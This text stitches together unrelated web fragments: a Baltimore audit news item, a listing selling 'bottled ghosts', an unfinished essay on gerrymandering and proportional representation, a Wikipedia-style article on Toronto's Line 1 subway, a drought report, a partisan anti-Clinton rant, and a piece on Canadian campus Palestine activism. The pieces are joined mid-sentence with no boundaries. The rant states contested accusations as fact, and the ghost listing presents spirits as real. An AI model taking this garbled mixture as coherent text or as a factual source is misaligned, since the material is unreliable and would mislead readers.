Pratt's Department of Audits typically conducts more than 10 audits per year. While an audit is performed each year of the city's overall budget, more exhaustive audits of individual agencies have been far rarer.
Baltimore council members, frustrated that some departments hadn't undergone agency-wide performance and financial audits in decades, took the issue to the voters in 2012. Voters approved a charter amendment requiring that 13 key agencies be audited every four years. Under the charter amendment, all of the audits must be completed by the end of the mayor's term in December 2016.
Stokes said he does not fault the outside auditors for falling behind a timeline released by the city of when the work would likely be completed.
"Finance should not have kept saying, 'Here's the date.' It frustrates people even more," Stokes said. "It's unfair to the auditors. The auditors are not going to sign off if they have not finished their due-diligence."
He said he plans to hold a hearing on the status of the audits in January.
Lester Davis, a spokesman for City Council President Bernard C. "Jack" Young, said city agencies need to do a better job of keeping records.
"It's completely unacceptable when agencies with multi-million dollar budgets have difficulty producing certain records related to an audit," he said. "It's a fixable problem and the Council President intends to speak with the agency director about procedures that will produce better results during future audits."
lbroadwater@baltsun.com
Twitter.com/lukebroadwaterCaptured ghosts from our house
Captured by an exorsist from a spiritualist church
one spirit we believe is a man by the name of Les Graham, managed to track down a photo. He died in the house in the 1920's.
Exorsist believes this spirit likes to make himself known and spook people. but he is not a very strong spirit.
The other spirit came from when me and my partner stupidly did an Oujia Board. We believe it is a little girl who likes to move things and turn things on and off. Exorsist says she is VERY strong and if left will get stronger.
We have had no activity since they were bottled on July 15th 2009. So i believe they are in the bottles.
They are bottled with holy water as aparantly the water dulls the spirits energy, sort of puts them to sleep.
To revive the spirit, i have been told that you pour into a little dish and let it evaporate into your house.
I just want to get rid of them as they scare me. But someone might like these to play with.
So if you like ghosts, heres two real ones!
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It’s an existential threat to the USA. Most current proposals for solving it are flawed. There is a better way.
Jameson Quinn Blocked Unblock Follow Following Sep 29, 2017
Here’s the problem.
According to the latest projections from Decision Desk HQ, if the US House of Representatives elections were held today, Democrats would get 54% of the vote. A resounding rejection of Trump, right? Not so fast; they’d get just 47% of the seats.
In the world of politics, a 7% unfair advantage is truly a cavernous gap between the popular will and the election outcome. The simple word for why that can exist is “gerrymandering”. This what it’s called when representatives choose their voters, instead of the other way around. By carefully drawing the lines, politicians can devalue certain voters: either “packing” them into one district where they waste far more votes than necessary electing just one representative, or “cracking” them into many districts where their votes are always just short of 50%.
So, if gerrymandering is when they draw crazy-shaped districts, then we just have to make sure districts aren’t crazy-shaped, and that will solve the problem, right? Wrong:
The image above shows 4 ways to divide up a New Square State, which has 56% blue voters, most of whom live in New Square City at the southeast corner of the state. The districts in the leftmost option are the most compact, but they are also the most unfair in favor of the red party. Option 2 is the closest to proportionality, but most districts are not competitive, so corrupt incumbents could remain for years. Option 3 presents a decent balance between proportional and competitive, but some districts are beginning to have a pretty gerrymandered shape to them. And in option 4 the districts are the most competitive, but they are also the least compact and the most unfair in favor of the blue party.
(If you want to play with your own districting plans for New Square State, you can use this web game by @EnDimensions.)
Though this is of course a simplified example, the basic idea is realistic. In a world where the densest urban areas skew far to one side, and most other areas skew slightly to the other, “compact”, “competitive”, and “proportional” are three conflicting goals. You could make good-faith arguments that any one of the districting plans above is the fairest. And if they started with option 4 and switched to a colorblind nonpartisan redistricting commission, they’d probably end up with option 1 — almost as disproportional and unfair.
So that means that when I said above that the 7% expected Republican skew could be attributed to “gerrymandering”, I didn’t just mean “crazy-looking shapes”. I meant to include natural demographic clustering, too. That’s why nonpartisan redistricting, while it would help some, wouldn’t solve the whole problem.
The real problem isn’t just the shape of the districts. It’s the districts themselves. In the picture above, I’ve distinguished safe districts from swing districts, depending on whether the margin of victory is greater or less than 15%. Both kinds of districts have serious problems. In safe districts, politicians pander to the primary election voters, usually skewed towards the most extreme and ideological side of the dominant party. And in swing districts, close to 50% of the voters have a representative they voted against, who probably will tend to ignore their petitions.
At its heart, gerrymandering is the intentional engineering of wasted votes. This idea of wasted votes is central to Gill v. Whitford, the anti-gerrymandering case from Wisconsin that’s before the Supreme Court. According to the definition the plaintiffs there use, all the votes for losing candidates, and the portion of all the votes for winning candidates above the total that would have been needed to win, are wasted. They go on to show that the Wisconsin districting plan is clearly designed to maximize wasted Democratic votes. But even aside from partisan concerns, the truth is that with our current voting methods, it’s essentially guaranteed that over 50% of votes will be wasted. Without changing those methods, the fairest result we could possibly hope for is not so much to reduce that vote wastage, but merely to ensure it’s spread evenly between the two major parties.
I said in the subtitle of this article that gerrymandering is an existential threat to the USA. And a 7% skew is massively undemocratic, but in itself it’s not quite an existential threat. So what did I mean?
Well, just think of the cascade of bad effects that come from the problems above. Safe-district incumbents run to the ideological extremes, leading to a gridlocked congress unable to deliver realistic solutions to real problems. Parties realize that the more voters they can disenfranchise or discourage from voting, the easier gerrymandering becomes; so zero-sum thinking leads to negative-sum mudslinging campaigns. And if this goes on for too long, the murmurs of secession from the majority voters with minority power will grow more and more serious.
The obvious solutions won’t work well.
I’m certainly not the only one sounding the alarm on this. Books like “Ratf**ked” by @davedaley3; papers like @katherinegehl and @MichaelEPorter’s account of the anticompetitive “politics industry” (which I reviewed); columns like @Michelleinbklyn’s (that is, Michelle Goldberg, the new NYT opinion columnist) recent “Tyranny of the Minority”; entire conferences like those run by the MGGG at Tufts; all of them are treating this with the urgency it deserves. And of course, people like @mlatner, @rickhasen, @rob_richie, and others have been on this issue for years.
But while all of the people I named recognize the problem, their suggested solutions are either weak or unlikely to pass.
The first solution most people think of to the gerrymandering problem is nonpartisan redistricting: take the line-drawing out of the hands of the politicians who benefit from it. And sure, this would certainly help somewhat. But as the example above shows, it wouldn’t solve the whole problem; no matter where you draw the lines, over 50% of the votes will still be wasted, and there will probably still be some partisan skew. In cases where it’s the only possibility, it’s certainly worth doing; but as you’ll see below, we can do better, at least on a national basis.
If current voting methods ensure wasted votes, can’t we fix that by changing our voting methods? Indeed we can. The term for voting methods designed to minimize wasted votes is Proportional Representation (PR). By ensuring that each group of voters gets represented in proportion to their size, PR methods can reduce wasted votes to merely the rounding error in the number of seats; a small fraction of the electorate as a whole. (For instance, in a state with 9 seats in the House, the maximum wasted votes under a fully proportional method would be 10%, that is, 1/(9+1) of the voters. The technical term for this amount is a Droop quota; I’ll mention this again later.)
PR can slay the Gerrymander.
Several of the thinkers I tagged above have advocated for PR methods in the US. And good for them! But to actually pass and be implemented, a new PR method doesn’t just need to solve the problem of wasted votes. It needs to avoid creating new problems, especially for those groups who are key to getting it passed. And on this ground, most existing proposals leave something to be desired.
Those proposals are mostly based on some PR method already in use in another country. In fact, most democracies use some form of PR. The four systems in common use are MMP (Mixed Member Proportional); STV (Single Transferable Vote); open party list; and closed party list.
Of these four, closed party list is the easiest to dismiss as a possibility for America. Like any PR method it solves most wasted votes, and it can offer interesting guarantees on issues like gender balance. But it hands over most of the power in deciding who’s elected to the parties’ internal bureaucracy, something Americans simply wouldn’t put up with. And open party list is a little bit better, but is still probably too party-centric for this country.
The basic idea of STV, used in countries like Ireland or (for a few cases) Australia, is to ensure each vote counts by passing it from candidate to candidate until it makes a difference. In technical terms, the system ensures that winning takes a certain amount of votes — the |
way [ edit ]
In 2003, a temporary busway was planned between Downsview (now Sheppard West) station and the campus, but was opposed by the university, which felt it would lessen government willingness to extend the subway. After numerous delays, construction on the York University Busway started on July 25, 2008,[32] with a short section of the busway opened on September 6, 2009[33] and the remainder opened on November 20, 2009.[34]
Advertisement from September 2017 announcing the TYSSE opening that December
Extension construction [ edit ]
The estimated cost was $2.09 billion in 2006, which have been escalated to $2.63 billion considering costs at the year of occurrence.[35] The Province of Ontario deposited $870 million into the Move Ontario Trust. The federal government committed $697 million, but only released $75 million at the start of its fall 2006 election campaign.[36] The City of Toronto and the Regional Municipality of York committed to fund one-third of total project costs, with Toronto contributing $526 million and York Region contributing $352 million.[24]
The first construction contract was awarded on February 27, 2008.[37] Construction commenced in July 2008 with the relocation of sewers.[38]
The TTC purchased two tunnel boring machines in late 2010 from LOVAT Inc. (since acquired by Caterpillar Inc.) for $58.4 million to dig tunnels on this extension, and two more boring machines were delivered in early 2011.[39][40] Tunnel boring for the extension began on June 17, 2011[41] and was completed on November 8, 2013.[42]
By 2015, the project had encountered several problems, such as frequently changing station design plans, project management problems resulting in the dismissal of two TTC managers, poor performance by some contractors, death of a worker at the York University station site and harsh winter weather.[25]
After the extension was found to be over-budget in March 2015, the Toronto City Council approved an additional $150 million in funding, with $90 million from Toronto and $60 million from York Region.[43] The TTC subsequently signed a contract with Bechtel, worth up to $80 million, to assume management of the extension.[44] This bypassed the tendering process usually used to hire contractors.
During construction, costs grew from the original $2.6 billion to about $3.2 billion by January 2016.[25]
Extension criticism [ edit ]
The extension north of Steeles Avenue has been criticized in the press for several reasons.[45] The TTC had intended to extend the subway as far as York University, with a vast bus terminal complex at the future Pioneer Village station. However, provincial funding required the line crossing the municipal border.[citation needed] The area around Vaughan Metropolitan Centre station is occupied by big-box stores and highways, and lacks the dense development that surrounds most other subway stations.[46] In addition, Highway 407 station was built within vacant land, across the street from Beechwood Cemetery.[47]
During the proposal stage of the project, the TTC had concluded there were insufficient projected population densities to justify the line north of Steeles Avenue. Some of the new stations are projected to be among those with the lowest ridership in the subway system.[48]
Vaughan plans to use the subway extension to spur the development of a transit-oriented city centre at Vaughan Metropolitan Centre station.[46] Vaughan Councillor Alan Shefman stated the new city centre will eventually create the density to justify a subway.[49] To this end, Vaughan Mayor Maurizio Bevilacqua worked with a developer to build several high-rise buildings near Vaughan Metropolitan Centre station; however, as of December 2017, the area still mainly consists of big box stores, low rise commercial buildings and parking lots.[48] As a precedent, the Sheppard subway shows that while a subway may spur development, that development may not result into a high subway ridership.[50] As Royson James stated in the Toronto Star, commuter destinations may be scattered throughout the Greater Toronto Area where public transit is inconvenient to use.[51]
Outgoing TTC CEO Andy Byford said: "People say '[build] there and they will come.' I think the most pressing need is to now focus on subway expansion where it's not so much that they will come, it's [that] there's already a demonstrable need." However, Globe and Mail columnists Oliver Moore and Jeff Gray wrote in the context of the TYSSE: "But that advice will have to compete with the growing power of the suburbs, and the eagerness of Queen's Park to court them." Toronto city councilor and TTC commissioner Glenn de Baeremaeker said: "Whether [the subway], quote, merits on a technical sense, the ridership or not, it's a philosophical decision the city has made and society has made. People like subways."[48]
Operating costs [ edit ]
According to a TTC forecast reported by transit advocate Steve Munro in early 2015, the TTC's annual operating costs for the entire TYSSE will be $33.7 million, or $14.2 million net of revenue. This would produce a 58% cost recovery compared to 70% for the TTC system as a whole. These costs, including those for the portion in Vaughan, will be covered by the TTC and the City of Toronto.[52] In 2016, the expected net cost to run the extension was revised to $30 million.[53]
According to a 2008 memo of understanding between York Region and the City of Toronto:
The TTC will be responsible for the full operating costs of the Spadina Subway extension from Downsview (renamed Sheppard West in mid-2017) to the Vaughan Corporate Centre (renamed Vaughan Metropolitan Centre) and receive all revenue from the Project (passenger revenue, commuter parking, advertising, retail leasing), with the exception of the operating costs and revenues for bus terminals and passenger pickup and drop off facilities located within York Region, which shall be maintained and operated by York Region.[54]
Fare collector booth phase-out [ edit ]
As part of the TTC's modernization efforts and the rollout of the Presto card, the TTC has begun phasing out toll collector booths at subway stations. As of January 6, 2019, Line 1 stations between Lawrence West and Vaughan Metropolitan Centre no longer have staffed fare collector booths. Instead, they have roaming customer service agents (CSAs). While TTC passengers can still pay their fares at these stations with legacy TTC fare media – such as tickets or tokens – they will not be able purchase these types of fares there. As with the TTC's surface vehicles, exact change is required when paying cash. As with all TTC subway stations, Presto cards are accepted and new Presto fare vending machines have been installed that enable passengers to buy Presto cards and load funds or a digital monthly TTC pass onto the electronic fare cards. Eventually, all TTC subway station toll booths will be permanently closed and replaced by CSAs.[55][56]
Ridership numbers [ edit ]
Early statistics published by the CBC report ridership numbers for 3 of 6 new stations on the TYSSE. In total, "57,100 riders boarded trains at the new stations during a week of service in May [2018]."[57] Finch West station pulled the most riders for the month, with approximately 17,000 customers using the station daily (for comparison, Lawrence West and Lansdowne have similar usage).[1] It is worth noting that these numbers were recorded during York University's strike, leading to fewer passengers at Pioneer Village and York University. Downsview Park and Highway 407 saw some of the worst ridership numbers in the entire subway system, with 2,000 daily customers at Downsview Park and 2,900 at Highway 407.[57] Downsview Park now replaces Bessarion as the least used subway station on the TTC.[1] Statistics in late 2018 showed that ridership at Downsview Park increased to 2,500 customers per day and Highway 407 increased to 3,400. The busiest station on the extension is now York University, which has about 34,100 daily customers. Finch West and Pioneer Village both serve approximately 17,000 customers and the terminus, Vaughan Metropolitan Centre, has a daily usage of 14,800. However, the average daily usage of all TTC subway stations is a little more than 34,000, which means that aside from York University station, all stations belonging to the extension are still seeing well below average usage.[58]
Design [ edit ]
Line [ edit ]
An open cut section looking south to Rosedale station from atop the Rowanwood Portal
The line is mostly underground, but has several surface or elevated sections between Sheppard West and Eglinton West, and between Bloor and Eglinton; some portions of the section between Bloor and Eglinton were originally open and have since been covered over to permit other uses above the tracks. Sections between Bloor–Yonge and the track south of Summerhill, and between St. Clair and Eglinton remain in their original open state. Between Summerhill and St. Clair, the track was built in open cut, but has since been covered over. Evidence of this can be seen in the tunnel: there are no columns or walls between tracks, and ballast and drainage ditches are present, something not seen in the rest of the subway system. There are also tree stumps and the stubs of lamp posts in the tunnel. There are also clues outdoors: seemingly useless railings along the sides of a nearby street, which was once on an exposed bridge, and empty lots following the trains' right-of-way marked with signs warning heavy vehicles and equipment to keep off because they might fall through to the columnless tunnel below.
Most of the tunnel was constructed by a cut-and-cover method, but some was bored, as noted below. All stations, whether by transfer or fare-paid terminal, connect to surface TTC bus and/or streetcar routes. Other surface and train connections are noted below.
As of December 17, 2017, with the opening of the TYSSE, 26 stations have elevators for wheelchair and stroller access.
The preferred alignment and placement for four stations for the extension beyond Sheppard West Station to serve York University were finalized in September 2005.[59]
Stations [ edit ]
Eglinton station's Vitrolite-tiled walls are the last such station wall treatment left in the system.
The original design of the oldest stations in the subway system, which are on the Yonge line (from Union to Eglinton), are mainly utilitarian and characterized by vitreous marble wall tiles and the use of the Toronto Subway font for station names. Eglinton Station is the only station to retain this wall treatment, though Queen Station retains a narrow band of original blue Vitrolite tiles near the ceiling at platform level.
The design of the stations on the University line was mainly utilitarian and this style (sometimes referred to as "bathroom modern") was later used for Line 2 Bloor–Danforth as well. Queen's Park and St. Patrick stations have circular and semi-circular cross-sections, because they are constructed in bored tunnels. Museum station was renovated to have columns resemble artifacts found in the nearby Royal Ontario Museum.
Lawrence, Sheppard–Yonge, and Finch stations are similar to each other in design, but have different colour schemes: Lawrence is red and cream, Sheppard is yellow and dark blue, and Finch is light grey, medium grey, and dark grey. York Mills station formerly followed the same design scheme—in light green and dark green—until it was renovated.
The segment of the line from St. George to Wilson station (formerly the Spadina segment) has art and architecture that is unique for each station. The art installed at Glencairn and Yorkdale stations has been removed, as the former's art had faded and the latter was too costly to operate. Since late 2017, work is underway to restore the art in both stations.
North York Centre station is an infill station. Its design is different from the other stations in the earlier North Yonge extension. Sheppard West station, which was opened in 1996, has art and architecture that is different from the earlier Spadina line stations.
Stations along the University line extension north from Sheppard West to Vaughan Metropolitan Centre, in keeping with the pattern of the rest of the former Spadina line, also feature public art and architecture from notable creators. However, the platform walls have no tiles or other cladding and are simply bare concrete, though structural elements on the platforms themselves are clad.
Names and terminal designation [ edit ]
On the Yonge portion of the line, nearly all stations located at cross streets are named after said streets, while on the University portion, they are either named for local landmarks with the cross street subtitled below (e.g. Osgoode – Queen Street) or after cross streets but with a "West" suffix for stations at streets that have counterparts along Yonge. The pattern of using landmarks as station names was exclusively used on the original (southern) section of the University branch, and the West designated street-naming convention is typically used on the former Spadina (northern) section. The two interchange stations on the University branch where it intersects Line 2 Bloor–Danforth are named St. George and Spadina after the north–south cross streets of Line 2, which runs below Line 1 between these stations. Due to various factors, some stations along the Spadina portion are named, formerly were named, or are proposed to be renamed using landmark or district names, albeit without subtitles: the stations at Steeles Avenue and Highway 7 (which have no corresponding stations along the Yonge branch) are respectively named "Pioneer Village" (after the nearby Black Creek Pioneer Village) and "Vaughan Metropolitan Centre" (after Vaughan's new downtown core, based on the precedent set by North York Centre and Scarborough Centre stations). Sheppard West was originally called "Downsview" but was renamed in 2017 to avoid confusion with the adjacent new Downsview Park station, and Eglinton West will be renamed "Cedarvale" when it becomes an interchange station with the opening of Line 5 Eglinton in 2021.[60]
Platform wall sign indicating Union as a terminal station
Southbound station platform signage on both branches indicates Union as a terminal station due to it being located at the southernmost point of the line's rough 'U' shape, where it turns northward when travelling along either branch. The train destination signs display the northwestern terminal station, Vaughan Metropolitan Centre, simply as "Vaughan", rather than its full name. Until the 1990s, train destination signs read "VIA DOWNTOWN" after the terminal station name.[61]
Service [ edit ]
Operation hours and frequency [ edit ]
As with other TTC subway lines, Line 1 operates most of the day, and is generally closed between 2:00 a.m. and 6:00 a.m. EST on weekdays and Saturdays, and 2 a.m. to 8 a.m. on Sunday. Trains arrive at stations 2–3 minutes during peak periods and 4–5 minutes during off-peak periods.[62]
During the morning peak, from 6:00 am to 9:00 am Monday to Friday, half the trains are turned back at Glencairn station resulting in limited service north of that point. The turnback was moved from St. Clair West station to Glencairn in 2016,[63] and current plans call it to be moved further to Pioneer Village station in late 2017 when the Line 1 extension opens.
Overnight service on the Yonge segment of the line is provided by 320 Yonge Blue Night from Queens Quay to Steeles with headways of 3 to 15 minutes. The University segment does not have an overnight service.
Rolling stock [ edit ]
A Toronto Rocket train at Rosedale Station
The line is solely operated with the TTC's newer Toronto Rocket (TR) subway trains, which are based on Bombardier's Movia family of trains. Unlike other trains in the Toronto subway rolling stock, the TR trains have a "six-car fixed" articulated configuration with full-open gangways, allowing passengers to walk freely from one end to the other. The TR trains were scheduled for delivery starting between late 2009 and early 2010, but was delayed until late 2010 due to production problems. They entered revenue service on this line on July 21, 2011, replacing the older H5 and the T1 series trains, which had been used on this line. (The T1 series trains, which used to operate on this line, were transferred over to Line 2 Bloor–Danforth where they replaced the older H4 and H6 series trains).
From the line's opening in 1954 until 1990, it was operated with G-series cars, and was also served with a mix of M1 and H1/H2/H4 subway cars between 1965 and 1999.
Gap trains [ edit ]
In October 2018, the TTC restarted the practice of using gap trains to relieve crowding at Bloor–Yonge and St. George stations, where respectively 225,000 and 135,000 passengers transfer trains daily. The TTC observes that one empty gap train can clear a crowded platform at Bloor–Yonge.[64]
The TTC used to run gap trains prior to late 2017 before discontinuing the practice because of a "change in operating philosophy". The practice was reinstated in response to a potentially dangerous, overcrowding incident that occurred at Bloor–Yonge in January 2018.[64]
In October 2018, the TTC used three gap trains, which sit on pocket tracks near Davisville, Eglinton and York Mills stations and move into southbound service when station over-crowding is detected. For November 2018, the TTC plans to run a fourth gap train in the morning peak period plus another during the afternoon peak.[64]
Gap trains can also increase the capacity of Line 1, which often runs above its scheduled capacity of 28,000 passengers per hour. To address that demand, the TTC normally runs an average of 25.5 trains per hour through Bloor–Yonge and St. George stations in the morning peak period. With three gap trains, it can run up to 28 trains per hour.[64]
Automatic train control [ edit ]
The TTC is converting its block signal system to automatic train control (ATC) on Line 1 Yonge–University at a cost of $562.3 million. With ATC, the TTC will be able to reduce the headway between trains on Line 1 from 2 minutes and 30 seconds to 1 minute and 55 seconds during rush hours, and allow a 25 percent increase in the number of trains operating on Line 1. ATC will be introduced to Line 1 in phases. It was first introduced with the opening of the TYSSE on December 17, 2017, between Vaughan Metro Centre and Sheppard West.
On November 4, 2017, the TTC successfully completed a 13-day test of ATC with trains using it in regular service between Dupont and Yorkdale stations. At the conclusion of the test, the feature was turned off between these two stations to allow installation of ATC through the interchange special work at the Wilson Yard.[65] ATC was permanently extended south to Dupont station on December 3, 2018.[66] The entire line is scheduled to be fully converted to ATC in 2019.[67]
Yonge North expansion plan [ edit ]
The Yonge North Subway Extension is a proposal to extend the Yonge Street portion of Line 1 north of Finch Station to Richmond Hill in York Region. Five new stops would be added at Cummer/Drewry, Steeles, Clark, Langstaff/Longbridge and the Richmond Hill Centre Terminal of Viva bus rapid transit. The proposed extension would cost $5.6 billion, as of May 2017.[68] It would take 10 years to build and would replace many of the 2,500 buses per day that run along the route. Ridership on the proposed extension is estimated at 165,000 per day.[69] The extension would be 7.4 km (4.6 mi) long. York Region estimates that the extension will help to create 31,000 jobs,[70] and that the extension would carry 58 million riders annually by 2031.[71]
Plan history [ edit ]
On June 15, 2007, the Ontario government announced plans to fund this extension as part of a network of rapid transit growth called MoveOntario 2020.[72]
In April 2009, the Environmental Assessment for the Yonge North Subway Extension was approved.[71]
In November 2014, an addendum to the Environmental Assessment was approved to include an underground train storage facility and surface facilities.[71]
By 2016, the province had committed to fund 15 per cent of the preliminary engineering and design for the project.[69]
On June 2, 2016, the provincial government gave $55 million to Metrolinx in order to work with the TTC and the York Region on a detailed plan for the subway extension.[70][71]
In May 2017, Toronto Mayor John Tory announced he would not support planning for the Yonge North Subway Extension unless there is a funding commitment for the Relief Line to relieve crowding on Line 1, expected to be at capacity by 2031. If so authorized, city staff could complete 15–30 per cent of the design for both projects, including schedules and better estimates, by the end of 2019. As of May 2017, planning was more advanced for the Yonge extension than for the Relief Line.[68]
Capacity constraints [ edit ]
Toronto council approved the plan in principle in January 2009 provided there were upgrades to the existing line to support the additional ridership from York Region.[73] Specifically, Toronto politicians say that the Yonge line does not have the capacity to support an extension to Richmond Hill until a separate relief line is built between Pape and Osgoode stations. In the morning rush hours, southbound trains on the Yonge line usually reach capacity between York Mills and Eglinton stations.[69] In March 2016, the mayor's office said that SmartTrack and automatic train control may also be required.[69]
In March 2016, York Region officials said that SmartTrack, electrified GO service, the Spadina subway extension and automatic train control will be implemented within a decade, and that these would be sufficient to support the extra ridership of an extension to Richmond Hill. Thus, the deputy mayor of Richmond Hill wanted to start construction of the extension by 2019.[69] Vaughan politicians and officials are basing their case on a Metrolinx report from June 2015. The report indicates the Yonge line would have a capacity of 36,000 passengers per hour per direction (pphpd) in 2021 with automatic train control. Demand is 31,200 pphpd in 2015 plus 6,600 growth by 2031 plus 2,400 for the extension north of Steeles giving a total demand of 40,200 pphpd. The TYSSE would divert 1,300 pphpd and Regional Express Rail would divert another 4,200 leaving a demand of 34,700 pphpd and 1,300 pphpd in excess capacity.[49][74] (However, as of April 2016, Metrolinx has no immediate plans to provide electrified GO service on the Richmond Hill line.[75]) Transit advocate Steve Munro says that, given the Metrolinx analysis, the line would be at 96% capacity in the peak hour and, because this is the peak hour average, there would be some overcrowding due to variations over the hour.[76]
In June 2016, TTC spokesperson Brad Ross said that the ridership on the Yonge line is regularly 24,000 passengers per hour during the morning rush hours, approaching the line's capacity of 25,500. Automatic train control would increase the line's capacity to over 32,000 riders per hour but that would still not be enough to support the increased ridership from the extension. The TTC would need the completion of the relief line and SmartTrack in order to support the extra riders from York Region.[70] (Note that the TTC and the Metrolinx report disagree as to the estimated capacity of the Yonge line after the implementation of automatic train control.)
In January 2019, Metrolinx reported that the Relief Line must be completed before opening the Yonge North Extension, thus reversing its opinion in its June 2015 report. The 2019 report also predicted that if both phase 1 of the Relief Line (between Pape station and downtown) and the Yonge North Extension were built, Line 1 would be over capacity by 2041. At that point, phase 2 of the Relief Line (north to Sheppard Avenue) would be required.[77]
Plan criticism [ edit ]
GO Transit's long-term plan also calls for all-day service on its Richmond Hill line that would run express trains every 15 minutes between its Langstaff Station adjacent to the Richmond Hill Centre terminal, and Union Station in downtown Toronto, calling into question the additional need for a subway extension.[78] As of April 2016, Metrolinx had no plans to electrify the Richmond Hill line, which would require $1 billion for flood mitigation. Planned service improvements are every 15–30 minutes but only in the peak period.[75]
Busway [ edit ]
Given the wait for the Richmond Hill extension, there were plans to have Viva Bus Rapid Transit bus lanes along Yonge Street from Finch Avenue to Highway 7.[79] However, by April 2014, the plans were revised to run the busway from Highway 7 (at the proposed terminal of the North Yonge Subway Extension) north to Newmarket with some portions of the route operating in mixed traffic through Richmond Hill. The expected completion date of the revised busway is 2020.[80]
A local group in York Region was lobbying for the cancellation of the planned busway along this route, which would have been a part of York Region's Viva bus rapid transit. The group was concerned about a loss of treed boulevards and private property when widening Yonge Street for bus lanes through Thornhill south of Highway 7.[81]
See also [ edit ]
MoveOntario 2020
Yonge streetcar line – Predecessor to the Yonge portion of Line 1
References [ edit ]
Route map:
KML is not from WikidataWestern Drought Intensifies, Leads to Deadly Wildfires
A record-breaking heat wave intensified drought conditions in much of the West during the past week, with 72 percent of the land area in the 10 Western states now in drought conditions, according to the latest update to the U.S. Drought Monitor.
The western part of Oklahoma has been left high and dry by a lack of rainfall.
Credit: Cimarron County NRCS office
The worst impacts of the drought are concentrated in the Southwest: New Mexico, Texas, Southern Colorado and the western parts of Kansas, Oklahoma and Nebraska all contain land that is under extreme or exceptional drought. The hot weather — Denver had its earliest 100-degree day on June 12 — served to exacerbate existing drought conditions and helped fuel deadly wildfires in Arizona, California, Colorado, Nevada, New Mexico, and Oregon. In California, 2013 has been the driest year on record to date, and the lack of rainfall is making the state more vulnerable to wildfires.
“The overall pattern of hot and dry conditions, combined with year-to-date below normal precipitation, led to continued deterioration of pasture and rangeland conditions across Arizona, California, Nevada and New Mexico,” said David Simeral of the Western Regional Climate Center, in a statement accompanying the Drought Monitor.
According to the U.S Department of Agriculture (USDA), 100 percent of the range and pasture land in New Mexico is in poor or very poor condition.
The ongoing problem of drought was a major focus of the spring State of the Climate report, which was released by the National Oceanic and Atmospheric Administration this week. This year, the period from March to May has been the second-driest on record in New Mexico, where water supply concerns are escalating.
By contrast, Iowa, Illinois and Wisconsin are all having their wettest year to date. Heavy rainfall in the Midwest and the Mississippi River Valley caused the Mississippi River at St. Louis to crest at its sixth-highest level. As of this week, 44.13 percent of the continental U.S. is under moderate drought or worse, and all of that land is now in states west of the Mississippi River.
Click image to enlarge. Credit: NCDC/NOAA
Across the rest of the country, drought conditions have improved significantly from the nearly coast-to-coast drought that was present last summer. On the East Coast, Tropical Storm Andrea washed away all lingering traces of drought, including those in Florida, which had been nearly engulfed by moderate and severe drought as recently as February.
In the Midwest, the unusually wet March-May period has pushed the boundary of the drought to the west, allowing states like Iowa, Minnesota, Wisconsin, and the eastern parts of the Dakotas, Kansas and parts of Oklahoma to emerge from the drought. The sudden shift in precipitation has made flooding, rather than drought, a bigger concern in states on the Upper Mississippi River.
On Oklahoma rainfall maps, the state appears to have been cleaved in half, with the south central and eastern areas receiving above-average precipitation during the past month, and western parts of the state left high and dry. According to the Oklahoma State Mesonet, which operates a network of weather stations across the state, the town of Hooker in the Oklahoma Panhandle, received just 0.08 inches of rainfall during the month of May. That was the second-lowest May total for the town since record-keeping began in 1906. Yet in Oklahoma City, about 250 miles away, had its wettest May on record, with 14.52 inches of rain. It was Oklahoma City's second-wettest month of any month, behind the 14.66 inches it received in June, 1989.
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Ongoing Coverage of Historic Drought in U.S.Disingenuous, unprincipled and reckless is Hillary Clinton who has played loose with the law for 40 years:
The Secretary of State is privy to sensitive information regarding intelligence assets, the names and locations of Americans serving their country abroad, many with their lives at risk.
She conducted her communications as Secretary of State not on secure State servers, but on an insecure server in her home compromising national security and the lives of those Americans serving abroad including U.S. Ambassador J. Christopher Stevens and three other foreign service officers abandoned, left to fight on their own for 13 horrific hours under attack and killed by Muslim terrorists.
She didn’t want any future scrutiny of her communications because she was soliciting and accepting tens of millions of dollars from foreign governments.
Abusing and monetizing her office of U.S. Secretary of State had a higher priority.
Her reckless comportment is just more evidence she is temperamentally unfit and totally unqualified to be commander-in-chief.Activists in Montreal protest during Israel’s bombing of Gaza last November. Thien V Flickr
A new alliance of on-campus Palestine solidarity groups has been launched in Canada.
The Canadian Student Coalition for Palestine is hoping to build on recent triumphs by the campaign for boycott, divestment and sanctions (BDS) against Israel. Its formation follows votes by seven student unions in Canadian universities — including two campuses in the University of Toronto — to support the BDS call over the past year.
“There are Palestinian solidarity groups across Canadian universities, and though each group is fighting almost identical battles, we are each fighting alone, and now we have the opportunity to come together under a collective coalition,” said Sabrina Azraq, co-president of Toronto Students for Justice in Palestine.
Having launched the alliance at a conference in London, Ontario last month, organizers are already planning a follow-up assembly in Toronto toward the end of the year.
There is a long history of Palestine solidarity activism on Canada’s campuses; in 1999, several student Palestine advocacy groups in Montreal unified to create Solidarity for Palestinian Human Rights. It rose to national prominence in 2002 when protested against a planned visit by Benjamin Netanyahu, then an opposition leader in Israel, to Concordia University in Montreal. Netanyahu’s speech was cancelled as a result (“Discordia: When Netanyahu came to town,” Palestine Solidarity Review, Fall 2004).
“Duty to stand up”
Solidarity for Palestinian Human Rights functioned as a national organization for most of the 2000s, and SPHR chapters have continued to spring up on campuses. However, national coordination of campus Palestine activism has been sporadic, even as the number of groups has grown and their achievements have received national and international attention.
Israeli Apartheid Week, now in its eighth year and marked on hundreds of campuses globally, was launched by the Arab Students Collective at the University of Toronto in 2005.
The success of Students for Justice in Palestine in the United States in coordinating over the past few years was remarked upon by several participants in the recent conference in Ontario. “Students have historically led revolutionary movements in the past. It’s our duty to stand up for human rights … our voices will alter the next generation and hopefully lead to a free Palestine,” said Sahar el-Kotob of SPHR at the University of Western Ontario.
Like their counterparts in the US, student activists in Canada have experienced censorship when seeking to demonstrate solidarity with Palestinians.
Students at McMaster University were prohibited from using the term “Israeli apartheid” in 2008 (“Fact sheet related to “Israeli apartheid” ban,” Window Into Palestine, 25 February 2008.)
Additionally, students at the University of Western Ontario were banned from holding events for a year after displaying a map of historic Palestine as part of a 2005 protest against Israel’s wall in the West Bank (“SPHR banned from atrium,” The Gazette, 8 November 2005).
And Jenny Peto, a post-graduate researcher at the University of Toronto, has been attacked by members of parliament and national newspapers for her critical scholarship and activism (“When neo-con politicians, media attack academics,” Rabble, 26 January 2011).
“Stigmatized”
“Palestinian activists do feel silenced on campus. We feel like our hands are tied and we are stigmatized due to our political stance,” said el-Kotob.
